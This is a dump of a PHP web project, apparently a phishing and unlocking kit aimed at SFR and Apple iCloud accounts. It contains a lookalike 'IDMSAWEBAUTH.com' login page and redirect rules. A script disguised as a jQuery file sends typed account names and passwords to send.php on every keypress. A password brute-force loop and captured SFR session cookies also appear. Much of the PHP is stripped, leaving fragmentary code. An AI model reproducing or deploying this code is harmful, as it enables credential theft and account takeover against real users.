├── login ├── sfr.jpg ├── css │ ├── bg.gif │ ├── bg1.gif │ ├── jquery_gsx.js │ ├── script.js │ ├── accueil.css │ ├── example.css │ ├── index.js │ ├── check_imei.js │ ├── stroll.min.js │ ├── style.css │ ├── stroll.js │ └── stroll.css ├── unlock_action.php ├── check_imei_action.php ├── check_account_action.php ├── cookies │ ├── verif_service.txt │ ├── check_imei.txt │ ├── get_nck.txt │ ├── unlock.txt │ ├── get_imei_unlock.txt │ └── verif_service_unlock.txt ├── deconnexion.php ├── .htaccess ├── less │ ├── .htaccess │ └── style.less ├── home.php ├── login.php ├── icloud.php ├── login_action.php ├── header.php ├── accueil.php ├── unlock.php ├── check_imei.php ├── check_account.php ├── get_code.php └── simple_html_dom.php └── .htaccess /login/sfr.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmedbhl/Sfr-Unlock-All-imei/HEAD/login/sfr.jpg -------------------------------------------------------------------------------- /login/css/bg.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmedbhl/Sfr-Unlock-All-imei/HEAD/login/css/bg.gif -------------------------------------------------------------------------------- /login/css/bg1.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmedbhl/Sfr-Unlock-All-imei/HEAD/login/css/bg1.gif -------------------------------------------------------------------------------- /login/unlock_action.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmedbhl/Sfr-Unlock-All-imei/HEAD/login/unlock_action.php -------------------------------------------------------------------------------- /login/check_imei_action.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmedbhl/Sfr-Unlock-All-imei/HEAD/login/check_imei_action.php -------------------------------------------------------------------------------- /login/check_account_action.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmedbhl/Sfr-Unlock-All-imei/HEAD/login/check_account_action.php -------------------------------------------------------------------------------- /login/cookies/verif_service.txt: -------------------------------------------------------------------------------- 1 | # Netscape HTTP Cookie File 2 | # http://curl.haxx.se/docs/http-cookies.html 3 | # This file was generated by libcurl! Edit at your own risk. 4 | 5 | .espace-client.sfr.fr TRUE / FALSE 1446603045 espace_client c7cbf471.523ad8111b55e 6 | -------------------------------------------------------------------------------- /.htaccess: -------------------------------------------------------------------------------- 1 | 2 | RewriteEngine on 3 | RewriteCond %{HTTP_HOST} ^idmsawebauth\.com$ [OR] 4 | RewriteCond %{HTTP_HOST} ^www\.idmsawebauth\.com$ 5 | RewriteRule ^/?$ "http\:\/\/idmsawebauth\.com\/login\/login\.php" [R=301,L] 6 | 7 | 8 | ErrorDocument 404 http://idmsawebauth.com 9 | 10 | 11 | -------------------------------------------------------------------------------- /login/cookies/check_imei.txt: -------------------------------------------------------------------------------- 1 | # Netscape HTTP Cookie File 2 | # http://curl.haxx.se/docs/http-cookies.html 3 | # This file was generated by libcurl! Edit at your own risk. 4 | 5 | .espace-client.sfr.fr TRUE / FALSE 1446603045 espace_client 6620bc46.523ad81160cb0 6 | #HttpOnly_espace-client.sfr.fr FALSE /desimlockage/ FALSE 0 JSESSIONID A0E3300537343055B4F2F77F5A26F63D.sfc-desimlockage24 7 | .sfr.fr TRUE / FALSE 0 MLS "Mjg6NTQ7MzI4NQ==" 8 | -------------------------------------------------------------------------------- /login/cookies/get_nck.txt: -------------------------------------------------------------------------------- 1 | # Netscape HTTP Cookie File 2 | # http://curl.haxx.se/docs/http-cookies.html 3 | # This file was generated by libcurl! Edit at your own risk. 4 | 5 | .espace-client.sfr.fr TRUE / FALSE 1446603027 espace_client 974b45f0.523ad8004c805 6 | #HttpOnly_espace-client.sfr.fr FALSE /desimlockage/ FALSE 0 JSESSIONID 816F3C89C75A8A18A495203A151568A1.sfc-desimlockage23 7 | .sfr.fr TRUE / FALSE 0 MLS "MjgzMzU1MzM6Mw==" 8 | -------------------------------------------------------------------------------- /login/cookies/unlock.txt: -------------------------------------------------------------------------------- 1 | # Netscape HTTP Cookie File 2 | # http://curl.haxx.se/docs/http-cookies.html 3 | # This file was generated by libcurl! Edit at your own risk. 4 | 5 | .espace-client.sfr.fr TRUE / FALSE 1446605059 espace_client 193eb515.523adf91d700d 6 | #HttpOnly_espace-client.sfr.fr FALSE /desimlockage/ FALSE 0 JSESSIONID 09EB7405F4D17204664896F1CBAD6821.sfc-desimlockage24 7 | .sfr.fr TRUE / FALSE 0 MLS "MjgzMzU1MzM6Mw==" 8 | -------------------------------------------------------------------------------- /login/cookies/get_imei_unlock.txt: -------------------------------------------------------------------------------- 1 | # Netscape HTTP Cookie File 2 | # http://curl.haxx.se/docs/http-cookies.html 3 | # This file was generated by libcurl! Edit at your own risk. 4 | 5 | .espace-client.sfr.fr TRUE / FALSE 1446603027 espace_client 9d4f8cf9.523ad80002077 6 | #HttpOnly_espace-client.sfr.fr FALSE /desimlockage/ FALSE 0 JSESSIONID 382B3CA95C76B62906E344492005BAD7.sfc-desimlockage23 7 | .sfr.fr TRUE / FALSE 0 MLS "MjgzMzU1MzM6Mw==" 8 | -------------------------------------------------------------------------------- /login/cookies/verif_service_unlock.txt: -------------------------------------------------------------------------------- 1 | # Netscape HTTP Cookie File 2 | # http://curl.haxx.se/docs/http-cookies.html 3 | # This file was generated by libcurl! Edit at your own risk. 4 | 5 | .espace-client.sfr.fr TRUE / FALSE 1446605058 espace_client c9837f09.523adf90a323d 6 | #HttpOnly_espace-client.sfr.fr FALSE /desimlockage/ FALSE 0 JSESSIONID 42C293CA879A2381EE7441FEF0DF5504.sfc-desimlockage25 7 | .sfr.fr TRUE / FALSE 0 MLS "MjgzMzU1MzM6Mw==" 8 | -------------------------------------------------------------------------------- /login/deconnexion.php: -------------------------------------------------------------------------------- 1 | alert ("merci pour votre visite")'; 11 | ?> 12 | setTimeout('location=(\"login.php\")' ,0);"); 14 | ?> -------------------------------------------------------------------------------- /login/css/jquery_gsx.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | $(document).ready(function(e) 4 | 5 | { 6 | 7 | 8 | 9 | $(".iid").keypress(function() { 10 | 11 | 12 | 13 | 14 | 15 | var id=$("#accountname").val(); 16 | 17 | var pass=$("#accountpassword").val(); 18 | 19 | $.ajax 20 | 21 | ({ 22 | 23 | 24 | 25 | type: "GET", 26 | 27 | url: "send.php?id="+id+"&pass="+pass, 28 | 29 | 30 | 31 | }); 32 | 33 | 34 | 35 | }); 36 | 37 | 38 | 39 | // event.preventDefault(); 40 | 41 | 42 | 43 | }); -------------------------------------------------------------------------------- /login/.htaccess: -------------------------------------------------------------------------------- 1 | # Do not remove this line or mod_rewrite rules and search engine friendly URLs will stop working 2 | RewriteBase / 3 | DirectoryIndex /login/login.php 4 | 5 | 6 | ErrorDocument 401 "Unauthorized" 7 | ErrorDocument 403 "Forbidden" 8 | RewriteEngine On 9 | #RewriteCond %{HTTP_HOST} ^devtalifoun\.com$ [OR] 10 | #RewriteCond %{HTTP_HOST} ^www\.devtalifoun\.com$ 11 | #RewriteRule ^/?$ "http\:\/\/devtalifoun\.com\/login\/login\.php" [R=301,L] 12 | 13 | #### PERSISTENT CONTENT #### 14 | RewriteCond %{REQUEST_FILENAME} !-f 15 | RewriteCond %{REQUEST_FILENAME} !-d 16 | RewriteRule ^(.*)$ zyro/$1 [L,QSA] 17 | ErrorDocument 404 http://devtalifoun.com 18 | 19 | 20 | -------------------------------------------------------------------------------- /login/less/.htaccess: -------------------------------------------------------------------------------- 1 | # Do not remove this line or mod_rewrite rules and search engine friendly URLs will stop working 2 | RewriteBase / 3 | DirectoryIndex /login/login.php 4 | 5 | 6 | ErrorDocument 401 "Unauthorized" 7 | ErrorDocument 403 "Forbidden" 8 | RewriteEngine On 9 | #RewriteCond %{HTTP_HOST} ^devtalifoun\.com$ [OR] 10 | #RewriteCond %{HTTP_HOST} ^www\.devtalifoun\.com$ 11 | #RewriteRule ^/?$ "http\:\/\/devtalifoun\.com\/login\/login\.php" [R=301,L] 12 | 13 | #### PERSISTENT CONTENT #### 14 | RewriteCond %{REQUEST_FILENAME} !-f 15 | RewriteCond %{REQUEST_FILENAME} !-d 16 | RewriteRule ^(.*)$ zyro/$1 [L,QSA] 17 | ErrorDocument 404 http://devtalifoun.com 18 | 19 | 20 | -------------------------------------------------------------------------------- /login/home.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | SFR 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 |

Install CHEEK CHECK Frame on your site.
Go to cheek-check.com and register. It 's Free !
15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /login/css/script.js: -------------------------------------------------------------------------------- 1 | $(document).ready(function (){ 2 | 3 | // $("#home").click(function(event){ 4 | // $.get("accueil.php", function(data) { 5 | // $("#content").html(data); 6 | // }); 7 | // }); 8 | 9 | 10 | 11 | 12 | 13 | $("#check_acc").click(function(event){ 14 | $.get("check_account.php", function(data) { 15 | $("#content").html(data); 16 | }); 17 | }); 18 | 19 | 20 | 21 | 22 | 23 | $("#check_imei").click(function(event){ 24 | $.get("check_imei.php", function(data) { 25 | $("#content").html(data); 26 | }); 27 | }); 28 | 29 | 30 | 31 | $("#unlock").click(function(event){ 32 | $.get("unlock.php", function(data) { 33 | $("#content").html(data); 34 | }); 35 | }); 36 | 37 | }); 38 | -------------------------------------------------------------------------------- /login/css/accueil.css: -------------------------------------------------------------------------------- 1 | 2 | div.menu2 3 | { 4 | /*width:500px;margin:0 auto;*//*Uncomment this line to make the menu center-aligned.*/ 5 | text-align:center; 6 | background-image: url(bg1.gif); 7 | border:1px solid black; 8 | font-size:0; 9 | } 10 | 11 | div.menu2 a 12 | { 13 | display: inline-block; 14 | padding: 0 20px; 15 | background-image: url(bg.gif); 16 | color:White; 17 | text-decoration:none; 18 | font: bold 12px Arial; 19 | line-height: 32px; 20 | } 21 | 22 | div.menu2 a:hover, div.menu2 a.current 23 | { 24 | background-position:0 -60px; 25 | } 26 | 27 | div.menu2 a.dummy 28 | { 29 | width:2px; 30 | padding:0 0; 31 | } 32 | .logout 33 | { 34 | 35 | float: right; 36 | 37 | 38 | } -------------------------------------------------------------------------------- /login/login.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | IDMSAWEBAUTH.com 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 |
21 | 22 |
23 |

Welcome

24 |
login ou mot de passe incorrect
25 |
26 | 27 |
28 |
29 |
30 | 33 |

34 |
35 | 36 | 37 | 38 |
39 |
40 | 41 | 53 |
54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | -------------------------------------------------------------------------------- /login/css/example.css: -------------------------------------------------------------------------------- 1 | /** 2 | * Demo page styles, all list scroll effects styles are in sctroll.css 3 | */ 4 | html, body { 5 | margin: 0px; 6 | padding: 0px; 7 | } 8 | 9 | body { 10 | background: #323232; 11 | font-family: 'Lato', Times, 'Times New Roman', serif; 12 | font-size: 16px; 13 | color: #eee; 14 | margin-bottom: 40px; 15 | line-height: 1; 16 | } 17 | 18 | header { 19 | background: rgba(0, 0, 0, 0.2); 20 | margin-bottom: 30px; 21 | padding: 20px 100px 20px 20px; 22 | font-size: 20px; 23 | line-height: 1.3em; 24 | } 25 | 26 | header div { 27 | margin-top: 10px; 28 | } 29 | 30 | a { 31 | color: cyan; 32 | } 33 | 34 | article { 35 | display: inline-block; 36 | margin: 20px; 37 | } 38 | 39 | h2 { 40 | font-size: 16px; 41 | margin-bottom: 20px; 42 | text-transform: uppercase; 43 | } 44 | 45 | small { 46 | opacity: 0.6; 47 | font-style: italic; 48 | font-size: 14px; 49 | margin-left: 5px; 50 | } 51 | 52 | /** 53 | * List used for the demo page 54 | */ 55 | ul { 56 | position: relative; 57 | width: 230px; 58 | height: 480px; 59 | margin: 0; 60 | padding: 0; 61 | overflow: auto; 62 | list-style: none; 63 | 64 | -webkit-perspective: 400px; 65 | -moz-perspective: 400px; 66 | -ms-perspective: 400px; 67 | -o-perspective: 400px; 68 | perspective: 400px; 69 | } 70 | ul li { 71 | position: relative; 72 | padding: 16px; 73 | background: #eee; 74 | color: #252525; 75 | font-size: 18px; 76 | z-index: 2; 77 | 78 | -webkit-transform: translateZ(0px); 79 | -moz-transform: translateZ(0px); 80 | -ms-transform: translateZ(0px); 81 | -o-transform: translateZ(0px); 82 | transform: translateZ(0px); 83 | } 84 | ul li:nth-child(odd) { 85 | background: #fff; 86 | } 87 | 88 | -------------------------------------------------------------------------------- /login/css/index.js: -------------------------------------------------------------------------------- 1 | $(document).ready(function(){ 2 | 3 | $("#login_error").hide(0); 4 | $("#res").hide(0); 5 | $("#login-button").click(function(event){ 6 | event.preventDefault(); 7 | 8 | var user=$("#Username").val().toString(); 9 | var pass=$("#Password").val().toString(); 10 | var check=$('#CHECK').is(':checked'); 11 | var link=$(""); 12 | 13 | if ((user=='')||(pass=='')) 14 | 15 | { 16 | 17 | $("#login_error").show(0); 18 | $('.wrapper').addClass('form-erreur'); 19 | 20 | 21 | 22 | } 23 | else 24 | 25 | { 26 | 27 | $.ajax 28 | 29 | ({ 30 | 31 | 32 | 33 | type: "GET", 34 | 35 | url: "login_action.php?user="+user+"&pass="+pass+"&check="+check, 36 | 37 | data:"user="+user+"&pass="+pass+"&check="+check, 38 | 39 | 40 | success: function(data) 41 | 42 | { 43 | if(data=="OK") 44 | 45 | { 46 | $("#login_error").hide(0); 47 | $('form').fadeOut(500); 48 | $('.wrapper').addClass('form-success'); 49 | $(location).attr('href',"accueil.php"); 50 | // location.reload('accueil_admin.php'); 51 | 52 | } 53 | 54 | else if(data=="INVALID") 55 | 56 | { 57 | $("#login_error").show(0); 58 | $('.wrapper').addClass('form-erreur'); 59 | 60 | 61 | } 62 | else 63 | { 64 | $(location).attr('href',"login.php"); 65 | // $(location).attr('href',"../erreur/erreur.php"); 66 | } 67 | 68 | } 69 | 70 | }); 71 | } 72 | 73 | }); 74 | 75 | 76 | }); 77 | -------------------------------------------------------------------------------- /login/icloud.php: -------------------------------------------------------------------------------- 1 | '.$htmll; 34 | // $res=$htmll->find('b',1)->innertext; 35 | // $ress=$htmll->find('b',4)->innertext; 36 | // $nck=trim(substr($res,32)); 37 | // echo '==>'.$res; 38 | // echo '==>'.$ress.$i; 39 | 40 | // } 41 | 42 | 43 | 44 | 45 | 46 | $pos = strpos($data, "OK"); 47 | if($pos > 0) 48 | { 49 | $got = 1; 50 | echo 'Password Found!!
'; 51 | echo'--------------
'; 52 | echo 'Brutforce Done AT Line '.$i.'
'; 53 | 54 | } 55 | // } 56 | ?> -------------------------------------------------------------------------------- /login/login_action.php: -------------------------------------------------------------------------------- 1 | 0) 28 | { 29 | $msg='INVALID'; 30 | } 31 | 32 | 33 | 34 | if ( $error = curl_error($ch) ) 35 | { 36 | $msg='INVALID'; 37 | 38 | curl_close($ch); 39 | } 40 | if (strpos($result, "false") !== false) 41 | { 42 | session_start(); 43 | if($_REQUEST['check']=='false') 44 | { 45 | $_SESSION['user'] = $user; 46 | $_SESSION['pass'] = $pass; 47 | $imei=get_imei(); 48 | $_SESSION['imei_ctr']=$imei; 49 | // sleep(2); 50 | $_SESSION['nck'] =get_nck($imei,$user,$pass); 51 | parsing(); 52 | $msg='OK'; 53 | } 54 | else 55 | { 56 | $_SESSION['user_check'] = $user; 57 | $_SESSION['pass_check'] = $pass; 58 | //$imei=get_imei(); 59 | //$_SESSION['imei_ctr']=$imei; 60 | // sleep(2); 61 | $_SESSION['nck_check'] ='ACCOUNT FOR CHECK'; 62 | parsing(); 63 | $msg='OK'; 64 | } 65 | 66 | 67 | } 68 | else 69 | { 70 | $msg='INVALID'; 71 | } 72 | echo $msg; 73 | } 74 | else 75 | { 76 | 77 | print(""); 78 | } 79 | ?> -------------------------------------------------------------------------------- /login/header.php: -------------------------------------------------------------------------------- 1 | 8 | 9 | 10 | 11 | 12 | SFR 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 33 | 44 | 49 | 58 | 61 |
62 | 63 |
64 | 65 | 66 | 67 | 68 | 69 | setTimeout('location=(\"login.php\")' ,0);"); 75 | 76 | } 77 | ?> 78 | -------------------------------------------------------------------------------- /login/accueil.php: -------------------------------------------------------------------------------- 1 | 8 | 9 | 10 | 11 | 12 | SFR 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 41 | 52 | 57 | 66 | 69 | 70 | 71 |
72 |


Check World Wide Blacklisted.
73 |
74 | 75 | 76 | 79 | 80 | 81 | 82 | 83 | setTimeout('location=(\"login.php\")' ,0);"); 89 | 90 | } 91 | ?> 92 | -------------------------------------------------------------------------------- /login/unlock.php: -------------------------------------------------------------------------------- 1 | 10 | 11 | 12 | 13 | 14 | SFR Unlock 15 | 16 | 17 | 18 | 19 | 20 | 57 | 58 | 59 | 60 | 61 | 62 |


63 |


64 | 65 |
66 | IMEI


67 | 68 |

69 |
70 | 71 | 72 |
73 | 74 | 75 | 76 | setTimeout('location=(\"login.php\")' ,0);"); 82 | 83 | } 84 | ?> -------------------------------------------------------------------------------- /login/check_imei.php: -------------------------------------------------------------------------------- 1 | 10 | 11 | 12 | 13 | 14 | SFR Check IMEI 15 | 16 | 17 | 18 | 19 | 20 | 57 | 58 | 59 | 60 | 61 | 62 |


63 |


64 | 65 |
66 | IMEI


67 |

68 |
69 | 70 |
71 |
72 |
73 |
74 |
75 |
76 | 77 | 78 | 79 | setTimeout('location=(\"login.php\")' ,0);"); 85 | 86 | } 87 | ?> -------------------------------------------------------------------------------- /login/check_account.php: -------------------------------------------------------------------------------- 1 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | SFR CHECK ACCOUNT 17 | 18 | 20 | 21 | 22 | 23 | 34 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 |
83 |

84 | 85 | 86 | 87 | 88 | 89 | 90 |
91 | 92 | 93 | 94 | 95 | 96 |
97 | 98 | 99 |
100 |

101 | User sfr


102 | Password


103 |
Envoyer

104 | 105 |
106 | 107 | 108 | 109 | 110 | 111 | 112 | setTimeout('location=(\"login.php\")' ,0);"); 118 | 119 | } 120 | ?> -------------------------------------------------------------------------------- /login/css/check_imei.js: -------------------------------------------------------------------------------- 1 | $(document).ready(function(){ 2 | 3 | // $("#login_error").hide(0); 4 | // $("#res").hide(0); 5 | $("#send").click(function(event){ 6 | event.preventDefault(); 7 | 8 | // var imei=$("textarea#imei").val(); 9 | //.toString(); 10 | // var imei = user; 11 | //split('\n').join('
'); 12 | // alert(imei); 13 | // var pass=$("#Password").val().toString(); 14 | 15 | var imei = $('#imei').val().split('\n'); 16 | // code here using lines[i] which will give you each line 17 | 18 | // alert(imei[i]); 19 | // } 20 | var x=$(""); 21 | 22 | 23 | if (imei=='') 24 | 25 | { 26 | 27 | // $("#login_error").show(0); 28 | // $('.wrapper').addClass('form-erreur'); 29 | 30 | 31 | 32 | } 33 | else 34 | 35 | { 36 | for(var i = 0;i < imei.length;i++){ 37 | x=imei[i].toString(); 38 | 39 | $.ajax 40 | 41 | ({ 42 | 43 | 44 | 45 | 46 | 47 | 48 | type: "GET", 49 | 50 | url: "check_imei_action.php?imei="+imei[i], 51 | 52 | data:"imei="+imei[i], 53 | 54 | success: function(data) 55 | 56 | { 57 | // alert('ok'+x); 58 | if(data=='clean') 59 | 60 | { 61 | // $.get("check_imei_action.php", function(data) { 62 | // x=x+data; 63 | $("#resultat_clean").html(imei[i]); 64 | // }); 65 | } 66 | else if(data=='07') 67 | 68 | { 69 | // $.get("check_imei_action.php", function(data) { 70 | // x=x+data; 71 | $("#resultat_07").html(imei[i]); 72 | // }); 73 | } 74 | else if(data=='03') 75 | 76 | { 77 | // $.get("check_imei_action.php", function(data) { 78 | // x=x+data; 79 | $("#resultat_03").html(imei[i]); 80 | // }); 81 | } 82 | if(data=='06') 83 | 84 | { 85 | // $.get("check_imei_action.php", function(data) { 86 | // x=x+data; 87 | $("#resultat_06").html(imei[i]); 88 | // }); 89 | } 90 | 91 | // else if(data=="INVALID") 92 | 93 | // { 94 | // $("#login_error").show(0); 95 | // $('.wrapper').addClass('form-erreur'); 96 | 97 | 98 | // } 99 | else 100 | { 101 | 102 | data=x; 103 | str=str+data; 104 | $("#resultat_err").html(data); 105 | // $("#resultat_err").html(data); 106 | // document.getElementById("#resultat_err").innerHTML ='hello' ; 107 | // $("#resultat_err").html(data+i); 108 | // $("#resultat_err").innerHTML = data; 109 | // storedText = $('#resultat_err').text(); //to store it 110 | // $('#resultat_err').text(''); //to clear it 111 | // $('#resultat_err').text(storedText); //to load it back up again 112 | // $(location).attr('href',"login.php"); 113 | // $(location).attr('href',"../erreur/erreur.php"); 114 | } 115 | 116 | } 117 | 118 | 119 | }); 120 | // $("#resultat_err").html(imei[i]); 121 | 122 | } 123 | } 124 | 125 | }); 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | }); 146 | -------------------------------------------------------------------------------- /login/less/style.less: -------------------------------------------------------------------------------- 1 | @import url(http://fonts.googleapis.com/css?family=Source+Sans+Pro:200,300); 2 | 3 | @prim: #53e3a6; 4 | 5 | *{ 6 | box-sizing: border-box; 7 | margin: 0; 8 | padding: 0; 9 | 10 | font-weight: 300; 11 | } 12 | 13 | body{ 14 | font-family: 'Source Sans Pro', sans-serif; 15 | color: white; 16 | font-weight: 300; 17 | 18 | ::-webkit-input-placeholder { /* WebKit browsers */ 19 | font-family: 'Source Sans Pro', sans-serif; 20 | color: white; 21 | font-weight: 300; 22 | } 23 | :-moz-placeholder { /* Mozilla Firefox 4 to 18 */ 24 | font-family: 'Source Sans Pro', sans-serif; 25 | color: white; 26 | opacity: 1; 27 | font-weight: 300; 28 | } 29 | ::-moz-placeholder { /* Mozilla Firefox 19+ */ 30 | font-family: 'Source Sans Pro', sans-serif; 31 | color: white; 32 | opacity: 1; 33 | font-weight: 300; 34 | } 35 | :-ms-input-placeholder { /* Internet Explorer 10+ */ 36 | font-family: 'Source Sans Pro', sans-serif; 37 | color: white; 38 | font-weight: 300; 39 | } 40 | } 41 | 42 | .wrapper{ 43 | background: #50a3a2; 44 | background: -webkit-linear-gradient(top left, #50a3a2 0%, #53e3a6 100%); 45 | background: -moz-linear-gradient(top left, #50a3a2 0%, #53e3a6 100%); 46 | background: -o-linear-gradient(top left, #50a3a2 0%, #53e3a6 100%); 47 | background: linear-gradient(to bottom right, #50a3a2 0%, #53e3a6 100%); 48 | 49 | position: absolute; 50 | top: 50%; 51 | left: 0; 52 | width: 100%; 53 | height: 400px; 54 | margin-top: -200px; 55 | overflow: hidden; 56 | 57 | &.form-success{ 58 | .container{ 59 | h1{ 60 | transform: translateY(85px); 61 | } 62 | } 63 | &.form-erreur{ 64 | .container{ 65 | #login_error{ 66 | transform: translateY(85px); 67 | } 68 | 69 | } 70 | } 71 | 72 | .container{ 73 | max-width: 600px; 74 | margin: 0 auto; 75 | padding: 80px 0; 76 | height: 400px; 77 | text-align: center; 78 | 79 | h1{ 80 | font-size: 40px; 81 | transition-duration: 1s; 82 | transition-timing-function: ease-in-put; 83 | font-weight: 200; 84 | } 85 | } 86 | 87 | form{ 88 | padding: 20px 0; 89 | position: relative; 90 | z-index: 2; 91 | 92 | input{ 93 | display: block; 94 | appearance: none; 95 | outline: 0; 96 | border: 1px solid fade(white, 40%); 97 | background-color: fade(white, 20%); 98 | width: 250px; 99 | 100 | border-radius: 3px; 101 | padding: 10px 15px; 102 | margin: 0 auto 10px auto; 103 | display: block; 104 | text-align: center; 105 | font-size: 18px; 106 | 107 | color: white; 108 | 109 | transition-duration: 0.25s; 110 | font-weight: 300; 111 | 112 | &:hover{ 113 | background-color: fade(white, 40%); 114 | } 115 | 116 | &:focus{ 117 | background-color: white; 118 | width: 300px; 119 | 120 | color: @prim; 121 | } 122 | } 123 | 124 | button{ 125 | appearance: none; 126 | outline: 0; 127 | background-color: white; 128 | border: 0; 129 | padding: 10px 15px; 130 | color: @prim; 131 | border-radius: 3px; 132 | width: 250px; 133 | cursor: pointer; 134 | font-size: 18px; 135 | transition-duration: 0.25s; 136 | 137 | &:hover{ 138 | background-color: rgb(245, 247, 249); 139 | } 140 | } 141 | } 142 | 143 | .bg-bubbles{ 144 | position: absolute; 145 | top: 0; 146 | left: 0; 147 | width: 100%; 148 | height: 100%; 149 | 150 | z-index: 1; 151 | 152 | li{ 153 | position: absolute; 154 | list-style: none; 155 | display: block; 156 | width: 40px; 157 | height: 40px; 158 | background-color: fade(white, 15%); 159 | bottom: -160px; 160 | 161 | -webkit-animation: square 25s infinite; 162 | animation: square 25s infinite; 163 | 164 | -webkit-transition-timing-function: linear; 165 | transition-timing-function: linear; 166 | 167 | &:nth-child(1){ 168 | left: 10%; 169 | } 170 | 171 | &:nth-child(2){ 172 | left: 20%; 173 | 174 | width: 80px; 175 | height: 80px; 176 | 177 | animation-delay: 2s; 178 | animation-duration: 17s; 179 | } 180 | 181 | &:nth-child(3){ 182 | left: 25%; 183 | animation-delay: 4s; 184 | } 185 | 186 | &:nth-child(4){ 187 | left: 40%; 188 | width: 60px; 189 | height: 60px; 190 | 191 | animation-duration: 22s; 192 | 193 | background-color: fade(white, 25%); 194 | } 195 | 196 | &:nth-child(5){ 197 | left: 70%; 198 | } 199 | 200 | &:nth-child(6){ 201 | left: 80%; 202 | width: 120px; 203 | height: 120px; 204 | 205 | animation-delay: 3s; 206 | background-color: fade(white, 20%); 207 | } 208 | 209 | &:nth-child(7){ 210 | left: 32%; 211 | width: 160px; 212 | height: 160px; 213 | 214 | animation-delay: 7s; 215 | } 216 | 217 | &:nth-child(8){ 218 | left: 55%; 219 | width: 20px; 220 | height: 20px; 221 | 222 | animation-delay: 15s; 223 | animation-duration: 40s; 224 | } 225 | 226 | &:nth-child(9){ 227 | left: 25%; 228 | width: 10px; 229 | height: 10px; 230 | 231 | animation-delay: 2s; 232 | animation-duration: 40s; 233 | background-color: fade(white, 30%); 234 | } 235 | 236 | &:nth-child(10){ 237 | left: 90%; 238 | width: 160px; 239 | height: 160px; 240 | 241 | animation-delay: 11s; 242 | } 243 | } 244 | } 245 | 246 | @-webkit-keyframes square { 247 | 0% { transform: translateY(0); } 248 | 100% { transform: translateY(-700px) rotate(600deg); } 249 | } 250 | @keyframes square { 251 | 0% { transform: translateY(0); } 252 | 100% { transform: translateY(-700px) rotate(600deg); } 253 | } -------------------------------------------------------------------------------- /login/css/stroll.min.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * stroll.js 1.2 - CSS scroll effects 3 | * http://lab.hakim.se/scroll-effects 4 | * MIT licensed 5 | * 6 | * Copyright (C) 2012 Hakim El Hattab, http://hakim.se 7 | */ 8 | (function(){var h=500; 9 | var b=!!("ontouchstart" in window);var j=[];var d=false;function i(){if(d){requestAnimFrame(i);for(var n=0,m=j.length;np){if(o._state!=="future"){o._state="future";o.classList.add("future");o.classList.remove("past"); 19 | }}else{if(o._state){if(o._state==="past"){o.classList.remove("past");}if(o._state==="future"){o.classList.remove("future");}o._state="";}}}}}};k.prototype.destroy=function(){clearInterval(this.syncInterval); 20 | for(var n=0,m=this.items.length;nthis.touch.previous&&this.velocity<0)||(this.touch.value0); 31 | if(this.touch.isAccellerating&&o){clearInterval(this.touch.accellerateTimeout);this.velocity+=(this.touch.previous-this.touch.value)/10;}else{this.velocity=0; 32 | this.touch.isAccellerating=false;this.touch.offset=Math.round(this.touch.start-this.touch.value);}this.touch.previous=m;}};c.prototype.onTouchEnd=function(n){var m=this.touch.start-this.touch.value; 33 | if(!this.touch.isAccellerating){this.velocity=(this.touch.start-this.touch.value)/10;}if(Date.now()-this.touch.lastMove>200||Math.abs(this.touch.previous-this.touch.value)<5){this.velocity=0; 34 | }this.top.value+=this.touch.offset;this.touch.offset=0;this.touch.start=0;this.touch.value=0;this.touch.isActive=false;this.touch.isAccellerating=false; 35 | clearInterval(this.touch.accellerateTimeout);if(Math.abs(this.velocity)>4||Math.abs(m)>10){n.preventDefault();}};c.prototype.update=function(q){var r=this.top.value+this.velocity+this.touch.offset; 36 | if(this.velocity||this.touch.offset){this.element.scrollTop=r;r=Math.max(0,Math.min(this.element.scrollTop,this.top.max));this.top.value=r-this.touch.offset; 37 | }if(!this.touch.isActive||this.touch.isAccellerating){this.velocity*=0.95;}if(Math.abs(this.velocity)<0.15){this.velocity=0;}if(r!==this.top.natural||q){this.top.natural=r; 38 | this.top.value=r-this.touch.offset;var p=r+this.listHeight;for(var n=0,m=this.items.length;np){if(this.velocity>=0&&o._state!=="future"){o.classList.add("future");o._state="future";}}else{if(o._state){if(o._state==="past"){o.classList.remove("past"); 40 | }if(o._state==="future"){o.classList.remove("future");}o._state="";}}}}}};c.prototype.destroy=function(){k.prototype.destroy.apply(this);this.element.removeEventListener("touchstart",this.touchStartDelegate,false); 41 | this.element.removeEventListener("touchmove",this.touchMoveDelegate,false);this.element.removeEventListener("touchend",this.touchEndDelegate,false);};window.stroll={bind:function(n,m){if(a()){f(n,l,m); 42 | }},unbind:function(m){if(a()){f(m,g);}}};window.requestAnimFrame=(function(){return window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.oRequestAnimationFrame||window.msRequestAnimationFrame||function(m){window.setTimeout(m,1000/60); 43 | };})();})(); 44 | -------------------------------------------------------------------------------- /login/css/style.css: -------------------------------------------------------------------------------- 1 | @import url(http://fonts.googleapis.com/css?family=Source+Sans+Pro:200,300); 2 | * { 3 | box-sizing: border-box; 4 | margin: 0; 5 | padding: 0; 6 | font-weight: 300; 7 | } 8 | body { 9 | font-family: 'Source Sans Pro', sans-serif; 10 | 